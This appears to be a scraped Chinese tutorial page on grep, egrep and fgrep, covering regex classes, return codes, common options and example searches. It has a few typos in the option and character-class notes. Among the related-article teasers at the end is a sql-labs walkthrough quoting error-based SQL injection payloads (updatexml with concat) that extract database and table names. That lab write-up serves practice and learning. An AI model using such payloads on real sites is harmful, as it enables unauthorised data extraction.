shell编程--grep

server/2024/10/19 7:33:17/

分类

grep

grep -E 拓展正则

egrep

拓展正则

\w  所有的字母和数字
[z-zA-Z0-9]
\W 所有的非字符,即出字母和数字以外的字符\b 词边界
\<love\>   ===   \blove\b

fgrep

就不支持正则,没有任何特性

返回值

0  找到了

1  没找到

2  找的地方不对

参数

grep -q
#静默,不显示执行结果,但可以用echo $?来查看执行情况
grep -v
#取反,
grep -R
#可以查目录下的文件内容
grep -o
#只找到这个关键字
grep -B2
#前两行,显示周围文件
grep -A2
#后两行,显示周围文件
grep -C2
#上下两行,显示周围文件egrep -|
#只显示文件名
egrep -n
#带行号

示例

egrep 'NW' datafile.txt
#在datafile.txt搜索NW
egrep 'NW' d*.txt
#在以d什么作为文件名的文件中找NW
egrep '^n' datafile.txt 
#以n作为行首
egrep '4$' datafile.txt
#以4作为行尾
egrep TB Savage datafile.txt
#在两个文件中找TB
egrep 'TB Savage' datafile.txt
#找TB Savage 
egrep '5\..' datafile.txt
#找5.什么
egrep '\.5' datafile.txt
#找.5
egrep '^[we]' datafile.txt
#以w或e开头
egrep '[^0-9]' datafile.txt
#非数字
egrep '[A-Z][A-Z] [A-Z]' datafile.txtegrep 'ss*' datafile.txt
#一个s,后面可能0到多个s
egrep '[a-z]{9}' datafile.txt
#找9个小写字母
egrep '\<north' datafile.txt
#以north开头的词
egrep '\<north\>' datafile.txt
#找north单词
egrep '\<[a-r].*n\>' datdfile.txt
#找a-r开头,结尾是n的单词
egrep '^n\w*\W' datafile.txt
#以n行首,0到多个字母与数字,一个非字符
egrep '\bnorth\b' datafile.txtegrep 'NW|EA' datafile.txt
#找NW或EA
egrep '3+' datafile.txt
#3出现1到多次
egrep '2\.?[0-9]' datafile.txt
#2点几或20几,?0到1次
egrep '(no)+' datafile.txt
#1到多个no
egrep 'S(H|u)' datafile
#SH或Su
egrep 'SH|u' datafile
#SH或U


http://www.ppmy.cn/server/111453.html

相关文章

sql-labs51-55通关攻略

第51关 一.查询数据库 1and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- 二.查表 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase() ),0x7e),1) -- 三.查列 and updatexml(1,concat…

ES6 类-总结

我们现在用一段代码&#xff0c; 在注释中总结所有关于JavaScript类的所有用法 class Student extends Person {//这里的Student是子类&#xff0c;Person是父类&#xff0c;extends是实现类之间的继承&#xff0c;它可以自动设置原型university 家里蹲大学; //公共字段(类似…

【从问题中去学习k8s】k8s中的常见面试题(夯实理论基础)(二十一)

本站以分享各种运维经验和运维所需要的技能为主 《python零基础入门》&#xff1a;python零基础入门学习 《python运维脚本》&#xff1a; python运维脚本实践 《shell》&#xff1a;shell学习 《terraform》持续更新中&#xff1a;terraform_Aws学习零基础入门到最佳实战 《k8…

从零开始实现一个简单的 Git 操作实例

本文通过创建一个简化版的版本控制系统,展示 Git 的核心操作,如初始化仓库、提交更改、查看历史记录等。为了更好地理解这些操作,我们会结合图示来说明。 1. 初始化仓库 在 Git 中,初始化仓库的命令是 git init。这个命令会在当前目录创建一个新的 Git 仓库,生成一个 .g…

JDS汽车检测主要内容

JDS汽车检测作为确保车辆安全、性能及环保标准的重要环节&#xff0c;其内容广泛且细致&#xff0c;涵盖了多个关键方面。以下是对JDS汽车检测主要内容的详细阐述&#xff0c;旨在为读者提供一个全面而深入的了解。 一、车辆外观检测 车辆外观检测是汽车检测的第一步&#xf…

tornado获取请求参数

在Tornado框架中&#xff0c;获取请求参数&#xff08;包括查询字符串参数、表单数据、JSON数据等&#xff09;可以通过RequestHandler类提供的方法来完成。以下是一些常用的方法来获取不同类型的请求参数&#xff1a; 1. 获取查询字符串参数 查询字符串参数是附加在URL后面的…

Oracle查询预防解决分母为0的方法

本文通过两种函数方法解决介绍了sql查询中分母为0的预防处理方法&#xff0c;主要采用decode函数或case when。在oracle数据查询中&#xff0c;常计算百分比&#xff0c;百分比分母又常通过子查询获得&#xff0c;常遇到业务数据暂时没有的时候&#xff0c;此时分母为0&#xf…

适用于 Visual Studio 的 C++ 万能头

您可以通过 star 我固定的 GitHub 存储库来支持我&#xff0c;谢谢&#xff01;以下是我的一些 GitHub 存储库&#xff0c;很有可能对您有用&#xff1a; Proxy Everything - Open Source (PE-OS) QR Generator - Open Source (QG-OS) 用于在 Visual Studio 上预编译的 C 包含…